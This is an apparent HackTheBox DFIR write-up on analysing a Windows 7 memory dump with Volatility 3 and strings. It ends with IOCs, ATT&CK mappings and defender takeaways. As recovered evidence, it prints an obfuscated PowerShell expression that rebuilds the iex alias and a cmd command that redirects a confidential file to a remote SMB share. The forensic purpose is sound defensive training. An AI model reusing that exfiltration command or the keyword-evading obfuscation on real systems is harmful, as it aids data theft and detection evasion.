// HackTheBox · writeup

Recollection

HackTheBox Easy Volatility3stringsgreppefilePython

DFIR

← sherlocks challenge page → proof of completion →

Scenario

Recollection is an easy difficulty Sherlock where you are tasked with carrying out analysis of a memory dump to understand the actions of an attacker and what else within the environment may have been affected.

Executive Summary

An attacker with hands-on access to a Windows 7 workstation used cmd.exe and PowerShell to run discovery, drop a defacement note and try to push a confidential file to an SMB share. Their PowerShell was obfuscated: the clipboard held an expression that rebuilds the iex alias from a built-in variable name, and a Base64 -e command wrote the note. The exfiltration attempt failed because the destination share could not be reached. A separate executable named after its own SHA256 was executed from disk, and the victim’s Edge session showed a SIEM agent search and a download that mimicked a core Windows binary. Everything was recovered from one RAM image with Volatility 3 and string carving.

Artifacts

Memory image: recollection.bin → Volatility 3 for process, network and file listings. Raw strings (ASCII and UTF-16LE) for console buffers, clipboard data and browser strings

Tip: Windows 7 SP1 has no matching symbol table in a stock Volatility 3 install. The kernel ISF has to be built from the PDB for the build string in the image, and windows.consoles and a clipboard plugin are not available for this OS. Plain strings over the whole image recovers the same data and drove most of the answers.

Discovery

Q1 — What is the Operating System of the machine?

windows.info reports the kernel version and build lab string. Build 7601.24214.win7sp1_ldr with NT version 6.1 is Windows 7 Service Pack 1. The answer takes the Name Version format, so give the product and release number.

vol -f recollection.bin windows.info

Click flag to reveal Windows 7

Q2 — When was the memory dump created?

The same windows.info output carries SystemTime, the clock value at capture. It is already UTC, so no conversion is needed.

vol -f recollection.bin windows.info

Click to reveal answer 2022-12-19 16:07:30

Q8 — What was the Host Name of the machine?

The attacker ran net users from the console, and the buffer is still in memory. The command header prints User accounts for \\<host>, which gives the machine name without touching the registry hive.

strings -a -e l recollection.bin | grep -i "User accounts for"

Click to reveal answer USER-PC

Q9 — How many user accounts were in the machine?

The same net users output lists the accounts under the header: Administrator, Guest and user. Three accounts.

strings -a -e l recollection.bin | grep -i -A6 "User accounts for"

Click flag to reveal 3

Q14 — What was the local IP address of the machine?

windows.netscan lists sockets with their local addresses. The machine’s own address is the local side of its established and listening sockets.

vol -f recollection.bin windows.netscan

Click to reveal answer 192.168.0.104

Q17 — Using MS Edge browser, the victim searched about a SIEM solution. What is the SIEM solution's name?

Edge search URLs sit in memory as plain strings with the query in the q= parameter. Grepping for q= and scanning for a monitoring product turns up q=install+wazuh+agent+windows.

strings -a -e l recollection.bin | grep -i "q=install"

Click flag to reveal Wazuh

Execution

Q3 — After the attacker gained access to the machine, the attacker copied an obfuscated PowerShell command to the clipboard. What was the command?

There is no clipboard plugin for Windows 7 in Volatility 3, so carve the image instead. Clipboard contents copied from a rich-text source leave RTF data in memory, and the PowerShell console history shows the same expression being used. Searching for naMe or joIN (the mixed case is the obfuscation) finds both.

strings -a -e l recollection.bin | grep -i "joIN"

Click flag to reveal (gv '*MDR*').naMe[3,11,2]-joIN''

Q4 — The attacker copied the obfuscated command to use it as an alias for a PowerShell cmdlet. What is the cmdlet name?

From Q3, gv is Get-Variable and '*MDR*' matches MaximumDriveCount. Characters 3, 11 and 2 of that name are i, e and x, and -join '' glues them into iex. That string is the alias for Invoke-Expression, which is how the attacker would run a string as code without writing the cmdlet name. This one was reasoned from the expression rather than read from an artifact that names the cmdlet.

Hint: The format mask is ******-*********n, which only fits one common cmdlet, and iex is its alias.

Click to reveal answer Invoke-Expression

Q15 — There were multiple PowerShell processes, where one process was a child process. Which process was its parent process?

List processes and look at the PPID column for the PowerShell entries. PID 3532 has parent PID 4052, which is cmd.exe, so the attacker was typing into a command prompt and launching PowerShell from it.

vol -f recollection.bin windows.pslist

Click flag to reveal cmd.exe

Q7 — The attacker tried to create a readme file. What was the full path of the file?

The console buffer holds a powershell -e command with a Base64 payload. Decoded, it is an echo "hacked by mafia" redirected into a file under C:\Users\Public\Office. Decode it as UTF-16LE, since that is what -EncodedCommand expects.

strings -a -e l recollection.bin | grep -i "powershell -e"

Click flag to reveal C:\Users\Public\Office\readme.txt

Q11 — A malicious executable file was executed using command. The executable EXE file's name was the hash value of itself. What was the hash value?

Carve the executable out of memory. List cached files with windows.filescan, find the hash-named EXE, then pull it with windows.dumpfiles using its physical address. SHA256 of the dumped file matches its filename, which confirms the name is the file’s own hash.

vol -f recollection.bin windows.filescan > work/filescan.txt

vol -f recollection.bin windows.dumpfiles --physaddr 0x11fa45c20

Click flag to reveal b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1

Q12 — Following the previous question, what is the Imphash of the malicous file you found above?

Load the dumped EXE with pefile and read the import hash. Analyse it statically only.

python3 -I -c "import pefile,sys;print(pefile.PE(sys.argv[1]).get_imphash())" dumped.exe

Click to reveal answer d3b592cd9481e4f053b5362e22d61595

Q13 — Following the previous question, tell us the date in UTC format when the malicious file was created?

The best creation date available from the carved file is the PE header’s compile timestamp, read with pefile from FILE_HEADER.TimeDateStamp. HTB accepted it, but this answer was reasoned rather than read from a filesystem record: the file’s on-disk creation time is not in the memory evidence used here, and compile times can be forged.

python3 -I -c "import pefile,sys,datetime as d;print(d.datetime.utcfromtimestamp(pefile.PE(sys.argv[1]).FILE_HEADER.TimeDateStamp))" dumped.exe

Click flag to reveal 2022-06-22 11:49:04

Exfiltration

Q5 — A CMD command was executed to attempt to exfiltrate a file. What is the full command line?

The cmd.exe console buffer is still in memory. It shows a type of a file in C:\Users\Public\Secret redirected to a UNC path on another host, so the “exfiltration” is a plain SMB write.

strings -a -e l recollection.bin | grep -i "type C:"

Click flag to reveal type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171\pulice\pass.txt

Q6 — Following the above command, now tell us if the file was exfiltrated successfully?

Read the console output directly under the command from Q5. Windows answered with The network path was not found, so the write never reached the share.

strings -a -e l recollection.bin | grep -i "network path was not found"

Click to reveal answer NO

Credential Access

Q10 — In the "\Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\" folder there were some sub-folders where there was a file named passwords.txt. What was the full file location/path?

Search the image for passwords.txt under the Edge profile. The file sits in the browser’s ZxcvbnData component folder, several levels below the path given in the question.

strings -a -e l recollection.bin | grep -i "passwords.txt"

Click flag to reveal \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt

Q16 — Attacker might have used an email address to login a social media. Can you tell us the email address?

The format mask *****_********@*****.**m fixes the shape of the address, so grep the image for addresses matching it and keep the one tied to a social-media login.

strings -a -e l recollection.bin | grep -oE "[a-z]+_[a-z0-9]+@gmail\.com"

Click to reveal answer [email protected]

Defense Evasion

Q18 — The victim user downloaded an exe file. The file's name was mimicking a legitimate binary from Microsoft with a typo (i.e. legitimate binary is powershell.exe and attacker named a malware as powershall.exe). Tell us the file name with the file extension?

windows.filescan output includes the user’s Downloads folder. One executable there is a one-letter-off copy of csrss.exe, the Client Server Runtime process, with a doubled s.

grep -i "Downloads" work/filescan.txt

Click to reveal answer csrsss.exe

Attack Summary

Phase	Action
Discovery	`net users` run from a console on `USER-PC` to list the three local accounts
Execution	Obfuscated expression copied to the clipboard that rebuilds the `iex` alias
Execution	PowerShell launched from `cmd.exe`, including a Base64 `-e` command
Impact	Defacement note “hacked by mafia” written to `C:\Users\Public\Office\readme.txt`
Exfiltration	`type` of a confidential file redirected to an SMB share on `192.168.0.171`, which failed
Execution	SHA256-named executable run from disk
Defense Evasion	`csrsss.exe` downloaded through Edge to pass for `csrss.exe`

IOCs

Type	Value
Hostname	`USER-PC`
IP (victim)	`192.168.0[.]104`
IP (exfil target)	`192.168.0[.]171`
SMB path	`\\192.168.0[.]171\pulice\pass.txt`
File	`C:\Users\Public\Office\readme.txt`
File	`C:\Users\Public\Secret\Confidential.txt`
File	`csrsss.exe`
SHA256	`b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1`
Imphash	`d3b592cd9481e4f053b5362e22d61595`
Email	`mafia_code1337@gmail[.]com`
Command	`(gv 'MDR').naMe[3,11,2]-joIN''`

MITRE ATT&CK

Technique	ID	Description
Command and Scripting Interpreter: PowerShell	T1059.001	PowerShell launched from `cmd.exe`, including a Base64 encoded command
Command and Scripting Interpreter: Windows Command Shell	T1059.003	Console used for discovery and the exfiltration attempt
Obfuscated Files or Information	T1027	`iex` rebuilt from `MaximumDriveCount` characters
Clipboard Data	T1115	Obfuscated command staged through the clipboard
Exfiltration Over Alternative Protocol	T1048	`type` redirected to an SMB share, which failed
Account Discovery: Local Account	T1087.001	`net users`
System Information Discovery	T1082	Host name read from `net users` output
Masquerading: Match Legitimate Name or Location	T1036.005	`csrsss.exe` mimicking `csrss.exe`
Defacement: Internal Defacement	T1491.001	”hacked by mafia” note dropped in a Public folder

Defender Takeaways

RAM holds the console history that disk and event logs do not. The exfiltration command, its error and the Base64 payload were all readable from console buffers. Capture memory early in an incident, and where it is not possible make sure PowerShell Script Block Logging and command-line process auditing (event 4688) are on.

String obfuscation hides cmdlet names, not behaviour. (gv '*MDR*').naMe[3,11,2]-joIN'' defeats a keyword match for Invoke-Expression, but script block logging records the deobfuscated result. Alert on Get-Variable with wildcards feeding a -join into an invoked string.

A failed exfiltration still shows intent. The SMB write failed, but a file named Confidential.txt being redirected to an internal address is worth an alert on its own. Monitor outbound SMB to hosts that are not file servers.

Lookalike filenames are easy to catch with an allowlist. csrsss.exe in a user Downloads folder is not where csrss.exe lives. Flag system binary names running from outside System32, and flag near-miss names with a similarity check.

Conclusion

The attacker ran a small amount of obfuscated PowerShell, left a defacement note and failed to move a confidential file off the host, but nearly everything they typed survived in RAM. The memory image told the full story where the disk would have needed script logging that was never enabled.